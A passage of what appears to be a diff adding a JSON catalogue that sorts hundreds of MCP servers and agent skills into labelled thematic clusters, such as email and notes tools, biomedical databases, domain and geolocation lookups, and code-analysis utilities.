"mcp-server:mailtrap-by-pijusz", + "mcp-server:mailtrap-email-api", + "mcp-server:mailx", + "mcp-server:malaysia-prayer-time", + "mcp-server:mattheworiordan-remi", + "mcp-server:member-berries-apple-productivity", + "mcp-server:memos", + "mcp-server:metro", + "mcp-server:mifactory-email", + "mcp-server:migadu", + "mcp-server:misarmail", + "mcp-server:moco", + "mcp-server:multimail", + "mcp-server:mxhero-mail2cloud-advanced", + "mcp-server:my-apple-remembers", + "mcp-server:my-mac", + "mcp-server:myagentinbox", + "mcp-server:native-devtools", + "mcp-server:nitrosend", + "mcp-server:notes", + "mcp-server:notesnook", + "mcp-server:notestorelab", + "mcp-server:notmuch-sendmail", + "mcp-server:ntopng", + "mcp-server:nyxtools-calendly", + "mcp-server:omnifocus", + "mcp-server:openfused", + "mcp-server:osascript", + "mcp-server:outlook", + "mcp-server:outlook-calendar", + "mcp-server:outlook-email", + "mcp-server:outlook-email-processor", + "mcp-server:outlook-for-macos", + "mcp-server:outlook-meetings-scheduler", + "mcp-server:party-time", + "mcp-server:peekaboo-macos-screen-capture", + "mcp-server:php-clock", + "mcp-server:postal", + "mcp-server:postals", + "mcp-server:postmark", + "mcp-server:prospector", + "mcp-server:protonmail", + "mcp-server:protonmail-pro", + "mcp-server:quickbooks-time", + "mcp-server:quicken-mac", + "mcp-server:raspberry-pi-notes", + "mcp-server:reablocks", + "mcp-server:react-native-development-guide", + "mcp-server:react-native-sqlite", + "mcp-server:react-native-storybook", + "mcp-server:react-native-upgrader", + "mcp-server:react-native-web-browser", + "mcp-server:reactbits", + "mcp-server:reacticx", + "mcp-server:rednote", + "mcp-server:release-notes", + "mcp-server:remarkable", + "mcp-server:remarkable-tablet-by-praveensehgal", + "mcp-server:remarkable-tablet-by-wavyrai", + "mcp-server:reminder", + "mcp-server:reminders", + "mcp-server:resend", + "mcp-server:resend-email", + "mcp-server:rize", + "mcp-server:roc-datetime", + "mcp-server:russian-software-catalog", + "mcp-server:safari-mcpsafari", + "mcp-server:screeny", + "mcp-server:sealedmail", + "mcp-server:sendgrid", + "mcp-server:sendpulse", + "mcp-server:sentry", + "mcp-server:servemyapi-macos-keychain", + "mcp-server:sidemail", + "mcp-server:silbercueswift", + "mcp-server:simple-email", + "mcp-server:simple-time", + "mcp-server:simple-timeserver", + "mcp-server:siri-shortcuts", + "mcp-server:siyuan", + "mcp-server:siyuan-note-taking", + "mcp-server:slowtime-time-intervals", + "mcp-server:smtp-email-manager", + "mcp-server:standard-notes", + "mcp-server:sticky-notes", + "mcp-server:strider-labs-gmail", + "mcp-server:supabase-notes", + "mcp-server:supaui", + "mcp-server:swiftagent", + "mcp-server:swiftautogui", + "mcp-server:synthcal-supabase-calendar", + "mcp-server:tailwind-to-nativewind", + "mcp-server:test-mailbox", + "mcp-server:textedit", + "mcp-server:textwell", + "mcp-server:thunderbird-email", + "mcp-server:time", + "mcp-server:time-check", + "mcp-server:time-converter", + "mcp-server:time-service", + "mcp-server:time-zone", + "mcp-server:timecamp", + "mcp-server:timelooker", + "mcp-server:timeplus", + "mcp-server:timeserver", + "mcp-server:timesheet-io", + "mcp-server:timezest", + "mcp-server:timezone-converter", + "mcp-server:transmit", + "mcp-server:trilium-notes", + "mcp-server:triliumnext-notes", + "mcp-server:trusted-gmail", + "mcp-server:tung-shing-calendar", + "mcp-server:ui5-web-components-for-react", + "mcp-server:ulysses", + "mcp-server:universal-email", + "mcp-server:uptime-kuma", + "mcp-server:usehooks-io", + "mcp-server:vnc-remote-control-for-macos", + "mcp-server:voiceos-calendar-free-slots", + "mcp-server:volta-notes", + "mcp-server:watchbase", + "mcp-server:what2watch", + "mcp-server:why-did-you-render", + "mcp-server:workday", + "mcp-server:world-time", + "mcp-server:xcf-xcode", + "mcp-server:xcforge", + "mcp-server:xcmcp-xcode-macos-automation", + "mcp-server:xcode", + "mcp-server:xcode-diagnostics", + "mcp-server:xcode-index", + "mcp-server:xcode-localizable-xcstrings", + "mcp-server:xcode-project-manager", + "mcp-server:xcode-string-catalog", + "mcp-server:xcodebuild", + "mcp-server:xcodemcpcli", + "mcp-server:xcsift", + "mcp-server:xcstrings-crud", + "mcp-server:xiaomi-notes", + "mcp-server:zapmail", + "skill:smtp-penetration-testing" + ] + }, + "6": { + "label": "Community + Official", + "members": [ + "mcp-server:3d-slicer", + "mcp-server:aact-clinical-trials", + "mcp-server:alphafold", + "mcp-server:biocontext-knowledgebase", + "mcp-server:biolit", + "mcp-server:biomart", + "mcp-server:biomcp", + "mcp-server:bioportal", + "mcp-server:biorxiv", + "mcp-server:chemcp", + "mcp-server:clinical-evidence", + "mcp-server:doktor-mx", + "mcp-server:ensembl", + "mcp-server:europe-pmc", + "mcp-server:explority", + "mcp-server:fda", + "mcp-server:fhirfly", + "mcp-server:gettreatmenthelp", + "mcp-server:gwas-bioinformatics", + "mcp-server:healthnote-nip-101h", + "mcp-server:it4r-datashield", + "mcp-server:medadapt", + "mcp-server:medical-terminologies", + "mcp-server:medplum", + "mcp-server:medrecpro-drug-label", + "mcp-server:medsci", + "mcp-server:medusa", + "mcp-server:moltdj", + "mcp-server:nursinghomedatabase", + "mcp-server:oh-my-kegg", + "mcp-server:omophub", + "mcp-server:oncofiles", + "mcp-server:oncology-db", + "mcp-server:openevidence", + "mcp-server:openfda", + "mcp-server:orthanc-dicom", + "mcp-server:part-d", + "mcp-server:pocketscout", + "mcp-server:protein", + "mcp-server:pubchem-by-cyanheads", + "mcp-server:pubcrawl", + "mcp-server:pubmed", + "mcp-server:pubmed-searcher", + "mcp-server:pubmed-smithery", + "mcp-server:pymol", + "mcp-server:ratchet-clinical-charting", + "mcp-server:rdkit-3d-molecular-viewer", + "mcp-server:reactome", + "mcp-server:rxradar", + "mcp-server:samhsa-treatment-locator", + "mcp-server:scanpy", + "mcp-server:se-vet-medicines", + "mcp-server:simple-pubmed", + "mcp-server:spoke", + "mcp-server:surechembl", + "mcp-server:tcga-bioconductor", + "mcp-server:uk-veterinary-medicines", + "mcp-server:uniprot", + "mcp-server:virtualflybrain", + "mcp-server:vivesca" + ] + }, + "7": { + "label": "Community + Official", + "members": [ + "mcp-server:africa-s-talking-airtime", + "mcp-server:afterpaths", + "mcp-server:ai-quality-gate", + "mcp-server:air", + "mcp-server:air-blackbox", + "mcp-server:air-q-cloud", + "mcp-server:air-q-local", + "mcp-server:air-quality", + "mcp-server:air-sdk", + "mcp-server:airbrake", + "mcp-server:airbyte-status-checker", + "mcp-server:airdrop-eligibility-checker", + "mcp-server:airflow", + "mcp-server:airport-gap", + "mcp-server:airtable", + "mcp-server:airtable-user", + "mcp-server:airtune-radio", + "mcp-server:apache-airflow", + "mcp-server:apache-apisix", + "mcp-server:apache-doris", + "mcp-server:apache-druid", + "mcp-server:apache-gravitino", + "mcp-server:apache-iceberg", + "mcp-server:apache-iotdb", + "mcp-server:apache-pinot", + "mcp-server:apache-seatunnel", + "mcp-server:apache-sling", + "mcp-server:apache-solr", + "mcp-server:apache-superset", + "mcp-server:apache-unomi", + "mcp-server:aqicn-air-quality", + "mcp-server:asn-lookup", + "mcp-server:australian-postcodes", + "mcp-server:bigdatacloud", + "mcp-server:binalyze-air", + "mcp-server:bloomfilter", + "mcp-server:brave-labs-domain-checker", + "mcp-server:device-country", + "mcp-server:diff-checker", + "mcp-server:dns-aid", + "mcp-server:dns-lookup", + "mcp-server:dns-security-analysis", + "mcp-server:dnspy", + "mcp-server:dnstwist", + "mcp-server:domain-check", + "mcp-server:domain-checker", + "mcp-server:domain-finder", + "mcp-server:domain-intelligence", + "mcp-server:domain-tools", + "mcp-server:domain-tools-whois-dns", + "mcp-server:domaincheckr", + "mcp-server:domainkits", + "mcp-server:domains", + "mcp-server:dynadot", + "mcp-server:edgeone-geo", + "mcp-server:edgeone-geolocation", + "mcp-server:ens", + "mcp-server:ens-resolver", + "mcp-server:ethereum-name-service-ens", + "mcp-server:fact-checker", + "mcp-server:fastdomaincheck", + "mcp-server:g-oportail", + "mcp-server:geo", + "mcp-server:geocalculator", + "mcp-server:geocode", + "mcp-server:geolocate-me", + "mcp-server:godaddy-domain-availability", + "mcp-server:grabmaps", + "mcp-server:idig-dns", + "mcp-server:internet-bs", + "mcp-server:ip-address-lookup", + "mcp-server:ip-geolocation", + "mcp-server:ip-geolocator", + "mcp-server:ip-lookup", + "mcp-server:ip2location-io", + "mcp-server:ipgeolocation-io", + "mcp-server:ipinfo", + "mcp-server:iplocate", + "mcp-server:ipsearch", + "mcp-server:islands-on-the-air", + "mcp-server:jeleo-geolocation-by-wtronk", + "mcp-server:license-checker", + "mcp-server:location", + "mcp-server:mapbox", + "mcp-server:name-origin-predictor", + "mcp-server:namecheap", + "mcp-server:namera", + "mcp-server:namesilo", + "mcp-server:nearby-places", + "mcp-server:nominatim", + "mcp-server:nslookup-io", + "mcp-server:one-piece-geolocation", + "mcp-server:opencage-geocoding", + "mcp-server:openstreetmap", + "mcp-server:parks-on-the-air", + "mcp-server:porkbun", + "mcp-server:porkbun-dns", + "mcp-server:probeops", + "mcp-server:quality-qr", + "mcp-server:quantaroute-geocoder", + "mcp-server:sherlock-domains", + "mcp-server:ssl-checker", + "mcp-server:sthan", + "mcp-server:streamnative-apache-pulsar-kafka", + "mcp-server:summits-on-the-air", + "mcp-server:swisstopo", + "mcp-server:the-dead-internet", + "mcp-server:tomtom", + "mcp-server:trust-score", + "mcp-server:uk-air-quality", + "mcp-server:uk-postcodes", + "mcp-server:whereami-ip-geolocation", + "mcp-server:whodis-domain-availability-checker", + "mcp-server:whois-lookup", + "mcp-server:whoiser", + "mcp-server:whoisjson", + "mcp-server:whoisxmlapi", + "mcp-server:xiaozhi-location", + "mcp-server:zippopotam" + ] + }, + "8": { + "label": "Community + Official + Analyzer", + "members": [ + "mcp-server:academic-paper-analyzer", + "mcp-server:ace-codebase-indexer", + "mcp-server:acemcp", + "mcp-server:adr-analysis", + "mcp-server:agent-skill-loader", + "mcp-server:agentutil-context", + "mcp-server:ai-context-inspector", + "mcp-server:ai-context-kit", + "mcp-server:aibolit-java-code-analyzer", + "mcp-server:alive-analysis", + "mcp-server:amanmcp", + "mcp-server:arachne", + "mcp-server:arbor", + "mcp-server:archai-hexagonal-architecture-analyzer", + "mcp-server:architecture-blueprints", + "mcp-server:ast-grep", + "mcp-server:audio-analysis", + "mcp-server:audio-analyzer", + "mcp-server:auggie-augment-code", + "mcp-server:avrotize", + "mcp-server:axiom-context", + "mcp-server:axon", + "mcp-server:bach-codecommander", + "mcp-server:batch-review", + "mcp-server:better-code-review-graph", + "mcp-server:bifrost-vs-code-dev-tools", + "mcp-server:bigquery-analysis", + "mcp-server:bluefin-linux-context", + "mcp-server:boxed-analysis", + "mcp-server:cairo-coder", + "mcp-server:cargo", + "mcp-server:cep-brazilian-postal-code", + "mcp-server:cerebras-code", + "mcp-server:chat-analysis", + "mcp-server:chromium-style-qr-code", + "mcp-server:cicada", + "mcp-server:claude-agents-power", + "mcp-server:claude-api", + "mcp-server:claude-army", + "mcp-server:claude-brain", + "mcp-server:claude-browser", + "mcp-server:claude-c2", + "mcp-server:claude-chatgpt", + "mcp-server:claude-code", + "mcp-server:claude-code-agent", + "mcp-server:claude-code-bridge", + "mcp-server:claude-code-conversation-search", + "mcp-server:claude-code-enhanced", + "mcp-server:claude-code-mcp-server", + "mcp-server:claude-code-organizer", + "mcp-server:claude-code-prompt-engineer", + "mcp-server:claude-code-review", + "mcp-server:claude-context", + "mcp-server:claude-context-local", + "mcp-server:claude-design-handoff", + "mcp-server:claude-desktop-commander", + "mcp-server:claude-desktop-restart", + "mcp-server:claude-enhancements", + "mcp-server:claude-error-collector", + "mcp-server:claude-flow", + "mcp-server:claude-historian", + "mcp-server:claude-history", + "mcp-server:claude-intel", + "mcp-server:claude-ipc", + "mcp-server:claude-kvm", + "mcp-server:claude-managed-agents-docs", + "mcp-server:claude-octopus", + "mcp-server:claude-peers", + "mcp-server:claude-praetorian", + "mcp-server:claude-project-coordinator", + "mcp-server:claude-prompts", + "mcp-server:claude-recall", + "mcp-server:claude-rules", + "mcp-server:claude-skills", + "mcp-server:claude-slack", + "mcp-server:claude-talk-to-figma", + "mcp-server:claude-team", + "mcp-server:claude-text-editor", + "mcp-server:claude-todo-emulator", + "mcp-server:claude-token-saver", + "mcp-server:claudehopper-construction-document-analysis", + "mcp-server:claudesmalltalk", + "mcp-server:cloudflare-dex-analysis", + "mcp-server:cloudinary-analysis", + "mcp-server:codacy", + "mcp-server:code-analysis", + "mcp-server:code-analyze", + "mcp-server:code-analyzer", + "mcp-server:code-assist", + "mcp-server:code-assistant", + "mcp-server:code-audit-ollama", + "mcp-server:code-auditor", + "mcp-server:code-backup", + "mcp-server:code-context-provider", + "mcp-server:code-context-semantic-code-search", + "mcp-server:code-embeddings", + "mcp-server:code-execution-mode", + "mcp-server:code-executor", + "mcp-server:code-expert-review", + "mcp-server:code-explainer", + "mcp-server:code-firewall", + "mcp-server:code-graph-context", + "mcp-server:code-graph-rag", + "mcp-server:code-health-suite", + "mcp-server:code-impact", + "mcp-server:code-index", + "mcp-server:code-indexer", + "mcp-server:code-intelligence", + "mcp-server:code-lens", + "mcp-server:code-line-counter", + "mcp-server:code-memory", + "mcp-server:code-merge", + "mcp-server:code-mode", + "mcp-server:code-pathfinder", + "mcp-server:code-rag", + "mcp-server:code-remote", + "mcp-server:code-research", + "mcp-server:code-review", + "mcp-server:code-review-analyst", + "mcp-server:code-runner", + "mcp-server:code-sage", + "mcp-server:code-sandbox", + "mcp-server:code-scanner", + "mcp-server:code-screenshot-generator", + "mcp-server:code-sentinel", + "mcp-server:code-snippet-manager", + "mcp-server:code-snippets-s3", + "mcp-server:code-to-tree", + "mcp-server:code2flow", + "mcp-server:code2prompt", + "mcp-server:codealive", + "mcp-server:codeanalysis-roslyn", + "mcp-server:codeatlas", + "mcp-server:codebase-context", + "mcp-server:codebase-index", + "mcp-server:codebase-indexer", + "mcp-server:codebase-insight", + "mcp-server:codebase-retrieval-repomix", + "mcp-server:codebaxing", + "mcp-server:codechecker", + "mcp-server:codecompass", + "mcp-server:codecortx", + "mcp-server:codecov", + "mcp-server:codedox", + "mcp-server:codeflow", + "mcp-server:codegraph", + "mcp-server:codegraphcontext", + "mcp-server:codeintel", + "mcp-server:codeledger", + "mcp-server:codelens", + "mcp-server:codelogic", + "mcp-server:codemagic", + "mcp-server:codemap", + "mcp-server:codemcp", + "mcp-server:codemode", + "mcp-server:codemogger", + "mcp-server:codeql", + "mcp-server:codeql-n1ght", + "mcp-server:coder-toolbox", + "mcp-server:coderag", + "mcp-server:codereviewbuddy", + "mcp-server:codesandbox", + "mcp-server:codescene", + "mcp-server:codescout", + "mcp-server:codeseeker", + "mcp-server:codesurface", + "mcp-server:codesys", + "mcp-server:codeweave", + "mcp-server:codeweaver", + "mcp-server:codexray", + "mcp-server:codezap", + "mcp-server:consulting-agents", + "mcp-server:container-inc", + "mcp-server:container-sandbox", + "mcp-server:container-use", + "mcp-server:containerd", + "mcp-server:context-apps", + "mcp-server:context-bank", + "mcp-server:context-engine", + "mcp-server:context-engineering", + "mcp-server:context-fabric", + "mcp-server:context-first", + "mcp-server:context-foundry", + "mcp-server:context-keeper", + "mcp-server:context-manager", + "mcp-server:context-mem", + "mcp-server:context-mode", + "mcp-server:context-optimizer", + "mcp-server:context-pod", + "mcp-server:context-portal", + "mcp-server:context-studios", + "mcp-server:context-sync", + "mcp-server:contextlattice", + "mcp-server:contextmanager", + "mcp-server:cross-claude", + "mcp-server:ctx", + "mcp-server:custom-context-transformer", + "mcp-server:custom-modes-roo-code", + "mcp-server:daytona-python-interpreter", + "mcp-server:dear-claude", + "mcp-server:deep-code-reasoning", + "mcp-server:deepseek-claude", + "mcp-server:deepview", + "mcp-server:deno-code-executor", + "mcp-server:deobfuscate", + "mcp-server:dependency-analysis", + "mcp-server:devign-figma", + "mcp-server:dj-claude", + "mcp-server:django-shell", + "mcp-server:docker", + "mcp-server:docker-code-runner", + "mcp-server:docker-code-sandbox", + "mcp-server:docker-compose", + "mcp-server:docker-container-execution", + "mcp-server:docker-deploy", + "mcp-server:docker-executor", + "mcp-server:docker-gateway", + "mcp-server:docker-manager", + "mcp-server:docker-release-information", + "mcp-server:docker-sandbox", + "mcp-server:dotnet-analyzer", + "mcp-server:draft-review", + "mcp-server:dump-analysis", + "mcp-server:dynamic-context-swapping", + "mcp-server:e2b-code-sandbox", + "mcp-server:e2b-python", + "mcp-server:eclipse-mat", + "mcp-server:eof-source-code-management", + "mcp-server:ethereal-rust", + "mcp-server:exa-pool-rust", + "mcp-server:fabric-docker", + "mcp-server:faf-context", + "mcp-server:feedback-synthesis", + "mcp-server:feuse-figma-design-to-code", + "mcp-server:figma", + "mcp-server:figma-chunked", + "mcp-server:figma-context", + "mcp-server:figma-context-air", + "mcp-server:figma-context-llm-optimized", + "mcp-server:figma-design-processor", + "mcp-server:figma-design-system", + "mcp-server:figma-free", + "mcp-server:figma-go", + "mcp-server:figma-import-designs", + "mcp-server:figma-mcpxer", + "mcp-server:figma-node-explorer", + "mcp-server:figma-pilot", + "mcp-server:figma-pro", + "mcp-server:figma-rest-api", + "mcp-server:figma-to-code", + "mcp-server:figma-to-flutter", + "mcp-server:figma-to-react", + "mcp-server:figma-to-react-native", + "mcp-server:figma-ui", + "mcp-server:figmanage", + "mcp-server:figsor", + "mcp-server:fiware-context-broker", + "mcp-server:fleet", + "mcp-server:flyto-indexer", + "mcp-server:frontend-review", + "mcp-server:fulcra-context", + "mcp-server:game-deck", + "mcp-server:geartrade-technical-analysis", + "mcp-server:gemini-code-analysis-openrouter", + "mcp-server:gencodedoc", + "mcp-server:gentleman-programming-book", + "mcp-server:geoguessr-stats-analyzer", + "mcp-server:gerrit-code-review", + "mcp-server:git-code-analysis", + "mcp-server:gitlab-code-review", + "mcp-server:glider", + "mcp-server:glyph", + "mcp-server:go-pprof-analyzer", + "mcp-server:gocode", + "mcp-server:graffiticode", + "mcp-server:graphite", + "mcp-server:grigori", + "mcp-server:grok-faf", + "mcp-server:gru-sandbox", + "mcp-server:homelab-infrastructure", + "mcp-server:houtini-geo-analyzer", + "mcp-server:html-to-figma-design-system", + "mcp-server:hypernym-semantic-analysis", + "mcp-server:ida-pro-binary-analysis", + "mcp-server:interview-mode", + "mcp-server:investor-agent-financial-analysis", + "mcp-server:ipybox", + "mcp-server:isolator", + "mcp-server:japanese-postal-code-lookup", + "mcp-server:japanese-text-analyzer", + "mcp-server:javalens", + "mcp-server:javascript-sandbox", + "mcp-server:jcodemunch-by-jgravelle", + "mcp-server:joern", + "mcp-server:joern-code-analysis", + "mcp-server:joplin-rust", + "mcp-server:judge0-code-execution", + "mcp-server:kai", + "mcp-server:kali-docker", + "mcp-server:kawa-code", + "mcp-server:kimi-code", + "mcp-server:langgraph-nutrition-analyzer", + "mcp-server:latex-compiler", + "mcp-server:lcov-coverage-analysis", + "mcp-server:lenspr", + "mcp-server:livecode-ch", + "mcp-server:llm-code-context", + "mcp-server:log-analysis", + "mcp-server:log-analysis-sqlite", + "mcp-server:log-analyzer", + "mcp-server:log-analyzer-with-cloudwatch-logs", + "mcp-server:lore", + "mcp-server:magi-code-review", + "mcp-server:mail-bridge-for-claude-code", + "mcp-server:malware-analyzer", + "mcp-server:massive-context", + "mcp-server:maven-indexer", + "mcp-server:md-feedback", + "mcp-server:megalinter", + "mcp-server:minimind-docker", + "mcp-server:mistral-codestral", + "mcp-server:modal-serverless-python", + "mcp-server:music-analysis", + "mcp-server:nabu-nisaba", + "mcp-server:narsil", + "mcp-server:ndlovu-code-reviewer", + "mcp-server:neovim-integration", + "mcp-server:net-code-context", + "mcp-server:netwrix-access-analyzer", + "mcp-server:neuledge-context", + "mcp-server:node-code-sandbox", + "mcp-server:node-js-code-sandbox", + "mcp-server:nodit-blockchain-context", + "mcp-server:nostr-code-snippets", + "mcp-server:nuanced", + "mcp-server:octocode", + "mcp-server:omen", + "mcp-server:open-computer-use", + "mcp-server:opendock-neutron", + "mcp-server:optical-context", + "mcp-server:opty", + "mcp-server:opus-advisor", + "mcp-server:perfetto-trace-analyzer", + "mcp-server:periphery-swift-analysis", + "mcp-server:personal-context", + "mcp-server:phalcon-blocksec-transaction-analysis", + "mcp-server:philidor-defi-vault-risk-analytics", + "mcp-server:php-codesniffer", + "mcp-server:phpocalypse", + "mcp-server:phpstan", + "mcp-server:pine-script", + "mcp-server:pinescript-syntax-checker", + "mcp-server:polyagent-claude-code-agents", + "mcp-server:portainer", + "mcp-server:portainer-container-management", + "mcp-server:premiere-pro-bis-code", + "mcp-server:prims-python-runtime", + "mcp-server:pyodide-integration", + "mcp-server:python-code-analyzer", + "mcp-server:python-code-execution", + "mcp-server:python-code-explorer", + "mcp-server:python-code-interpreter", + "mcp-server:python-dependency-manager-companion", + "mcp-server:python-hashlib", + "mcp-server:python-interpreter", + "mcp-server:python-repl", + "mcp-server:python-run", + "mcp-server:python-sandbox", + "mcp-server:python-toolbox", + "mcp-server:qartez", + "mcp-server:qr-code", + "mcp-server:qr-code-generator", + "mcp-server:qr-maker", + "mcp-server:quickjs-sandbox", + "mcp-server:qwen-code", + "mcp-server:qwen3-asr-docker", + "mcp-server:rag-context", + "mcp-server:ragcode", + "mcp-server:rails-ai-context", + "mcp-server:ravelry", + "mcp-server:react-analyzer", + "mcp-server:react-performance-analyzer", + "mcp-server:refactor", + "mcp-server:refactoring", + "mcp-server:remote-docker", + "mcp-server:repomix", + "mcp-server:roadrecon-analyzer", + "mcp-server:role-specific-context", + "mcp-server:roslyn", + "mcp-server:roslyn-c-analyzer", + "mcp-server:roslyn-codelens", + "mcp-server:rust-analyzer", + "mcp-server:rust-analyzer-tools", + "mcp-server:rust-code-analyzer", + "mcp-server:rust-faf", + "mcp-server:rustfs", + "mcp-server:safe-local-python-executor", + "mcp-server:sandbox-bash", + "mcp-server:sandbox-container", + "mcp-server:sandboxapi", + "mcp-server:scast", + "mcp-server:second-opinion-code-assistant", + "mcp-server:seekcode", + "mcp-server:selvage", + "mcp-server:semantic-context", + "mcp-server:sentiment-analyzer", + "mcp-server:serena", + "mcp-server:session-context", + "mcp-server:shaderc-vkrunner-gpu-shader-sandbox", + "mcp-server:shannon-claude-code-cli", + "mcp-server:sharplens", + "mcp-server:sharptools-roslyn-c-analysis", + "mcp-server:shebe", + "mcp-server:sketch-context", + "mcp-server:skim", + "mcp-server:smart-coding", + "mcp-server:smart-context", + "mcp-server:smart-tree", + "mcp-server:smooth-code-repo-index", + "mcp-server:snippets", + "mcp-server:socraticode", + "mcp-server:solidity-contract-analyzer", + "mcp-server:source-code", + "mcp-server:sourcerer", + "mcp-server:space-engineers-code-index", + "mcp-server:splice-weaver", + "mcp-server:sports-betting-ai-analyzer", + "mcp-server:sqry", + "mcp-server:srclight", + "mcp-server:steam-library", + "mcp-server:steam-review", + "mcp-server:steam-review-summary", + "mcp-server:steam-reviews", + "mcp-server:steam-reviews-forums", + "mcp-server:stock-analyzer-tingo", + "mcp-server:str-investment-analysis", + "mcp-server:sverklo", + "mcp-server:systemprompt-code-orchestrator", + "mcp-server:talk-to-figma", + "mcp-server:tealmcp-lua-code-execution", + "mcp-server:tearags", + "mcp-server:tenets", + "mcp-server:the-code-registry", + "mcp-server:the-council", + "mcp-server:toke", + "mcp-server:tokennuke", + "mcp-server:tokensave", + "mcp-server:ton-blockchain-analyzer", + "mcp-server:toon-context", + "mcp-server:tree-hugger-js", + "mcp-server:tree-sitter", + "mcp-server:triagemcp-pe-file-analysis", + "mcp-server:ui-analyzer", + "mcp-server:universal-code-navigator", + "mcp-server:uvm-1-2-source-code-knowledge", + "mcp-server:vcd-waveform-analyzer", + "mcp-server:vecgrep", + "mcp-server:video-analyzer", + "mcp-server:vim", + "mcp-server:vs-code", + "mcp-server:vs-code-button-generator", + "mcp-server:vs-code-diagnostics", + "mcp-server:vs-code-notebook", + "mcp-server:vs-code-simple-browser", + "mcp-server:vscode", + "mcp-server:vscode-commands", + "mcp-server:vscode-internal-commands", + "mcp-server:vscode-workspace", + "mcp-server:warden-magento", + "mcp-server:waveform-analysis", + "mcp-server:webcam-analysis", + "mcp-server:website-scraper-and-analyzer", + "mcp-server:windows-sandbox", + "mcp-server:wordpress-code-review", + "mcp-server:xdebug", + "mcp-server:xray-code-intelligence", + "mcp-server:yepcode-secure-execution", + "mcp-server:zoekt", + "skill:agent-eval", + "skill:agent-harness-construction", + "skill:ai-analyzer", + "skill:ai-first-engineering", + "skill:ally-health-assistant", + "skill:blueprint", + "skill:browser-qa", + "skill:claude-ally-health", + "skill:claude-devfleet", + "skill:claude-scientific-skills", + "skill:claude-speed-reader", + "skill:claude-win11-speckit-update-skill", + "skill:codebase-onboarding", + "skill:context-budget", + "skill:continuous-agent-loop", + "skill:emergency-card", + "skill:enterprise-agent-ops", + "skill:family-health-analyzer", + "skill:ffuf-claude-skill", + "skill:fitness-analyzer", + "skill:flutter-dart-code-review", + "skill:food-database-query", + "skill:goal-analyzer", + "skill:health-trend-analyzer", + "skill:mental-health-analyzer", + "skill:nanoclaw-repl", + "skill:nutrition-analyzer", + "skill:occupational-health-analyzer", + "skill:openclaw-persona-forge", + "skill:oral-health-analyzer", + "skill:ralphinho-rfc-pipeline", + "skill:rehabilitation-analyzer", + "skill:sexual-health-analyzer", + "skill:skin-health-analyzer", + "skill:sleep-analyzer", + "skill:speed-reader-rsvp", + "skill:superpowers-lab", + "skill:tcm-constitution-analyzer", + "skill:travel-health-analyzer", + "skill:varlock-claude-skill", + "skill:weightloss-analyzer", + "skill:win11-speckit-update" + ] + }, + "9": { + "label": "Community + Official + Aggregators", + "members": [ + "agent:godot-gameplay-scripter", + "mcp-server:1alexandrer-moodle", + "mcp-server:1c-enterprise", + "mcp-server:1c-enterprise-bsl-language-server", + "mcp-server:1c-enterprise-db-client", + "mcp-server:1c-enterprise-designer-tools", + "mcp-server:1c-enterprise-rest", + "mcp-server:1c-metacode-lite", + "mcp-server:1c-platform-tools", + "mcp-server:1inch-cross-chain-swap", + "mcp-server:1mcp-agent", + "mcp-server:1panel-deployment", + "mcp-server:247afk-block-editor", + "mcp-server:3d-ai-studio", + "mcp-server:3d-asset-processing", + "mcp-server:3d-printer-manager", + "mcp-server:3ds-max", + "mcp-server:a-team-adas", + "mcp-server:a2a-adk-mcp-pipeline", + "mcp-server:aaaa-nexus", + "mcp-server:aai-gateway", + "mcp-server:abap-accelerator", + "mcp-server:abi-to-mcp", + "mcp-server:academic-hub", + "mcp-server:academic-tools", + "mcp-server:aci-dev", + "mcp-server:ad-ops", + "mcp-server:adc-enterprise-orchestration", + "mcp-server:adeo-mozaic-design-system", + "mcp-server:admit-coach", + "mcp-server:adobe-creative-suite", + "mcp-server:adobe-illustrator", + "mcp-server:adobe-illustrator-ie3jp", + "mcp-server:adobe-photoshop-controller", + "mcp-server:adobe-premiere-pro", + "mcp-server:adtech-suite", + "mcp-server:advanced-unity-mcp", + "mcp-server:aer-mcp-american-economic-association-journals", + "mcp-server:aether-studio", + "mcp-server:affinity-crm", + "mcp-server:affinity-design", + "mcp-server:aganium-agenium", + "mcp-server:agent-farm", + "mcp-server:agent-gateway", + "mcp-server:agent-lsp", + "mcp-server:agent-orchestration", + "mcp-server:agent-orchestrator", + "mcp-server:agent-rules", + "mcp-server:agent-server", + "mcp-server:agent-skill-kit", + "mcp-server:agent-skills", + "mcp-server:agent-team", + "mcp-server:agent-tool", + "mcp-server:agent-trace-inspector", + "mcp-server:agent-utils", + "mcp-server:agent-workspace", + "mcp-server:agentforce-salesforce", + "mcp-server:agenthotspot", + "mcp-server:agentic-ai-feature-management", + "mcp-server:agentic-multi-ai-toolkit", + "mcp-server:agentic-platform", + "mcp-server:agentic-system-monitoring-rag", + "mcp-server:agents-best-friend", + "mcp-server:agents-council", + "mcp-server:agents-md", + "mcp-server:agents-md-generator", + "mcp-server:agi-alpha", + "mcp-server:agi-rails", + "mcp-server:agts-sovereign-gateway", + "mcp-server:ai-calls-editor", + "mcp-server:ai-cognitive-nexus", + "mcp-server:ai-consultant-openrouter", + "mcp-server:ai-dev-jobs", + "mcp-server:ai-expert-workflow", + "mcp-server:ai-furniture-hub", + "mcp-server:ai-hardware-in-the-loop", + "mcp-server:ai-hr-management-toolkit", + "mcp-server:ai-hub", + "mcp-server:ai-meta-tool-creator", + "mcp-server:ai-prompts-finder", + "mcp-server:ai-rule-mcp-server", + "mcp-server:ai-visibility-by-sharozdawa", + "mcp-server:aidd-dev-workflows", + "mcp-server:aider-multi-coder", + "mcp-server:aipo-labs", + "mcp-server:airtable-oauth", + "mcp-server:akash-network", + "mcp-server:aleatoric-engine", + "mcp-server:all-good-inspiration", + "mcp-server:all-in-one-devtools", + "mcp-server:all-our-things", + "mcp-server:allabolag-swedish-company-registry", + "mcp-server:allure-test-reports", + "mcp-server:alteryx-server", + "mcp-server:altium-schematic-parser", + "mcp-server:angular-toolkit", + "mcp-server:anilist-ani-mcp", + "mcp-server:anki-mcp-server", + "mcp-server:ant-design-components", + "mcp-server:ant-design-vue", + "mcp-server:antigravity-jupyter-notebook", + "mcp-server:antigravity-link", + "mcp-server:antigravity-sync", + "mcp-server:apache-tomcat-manager", + "mcp-server:apollo-salesforce-mapper", + "mcp-server:apple-native-tools", + "mcp-server:appointysaastak-ui-components", + "mcp-server:approval-studio", + "mcp-server:arc-1", + "mcp-server:arcs-multi-platform-article-publisher", + "mcp-server:arduino-cli", + "mcp-server:arduino-development", + "mcp-server:ariekogan-ateam-mcp", + "mcp-server:arikusi-deepseek-mcp-server", + "mcp-server:arr-assistant-radarr-sonarr", + "mcp-server:arr-media-suite", + "mcp-server:arr-stack", + "mcp-server:arthas-jvm-diagnostics", + "mcp-server:ask-human", + 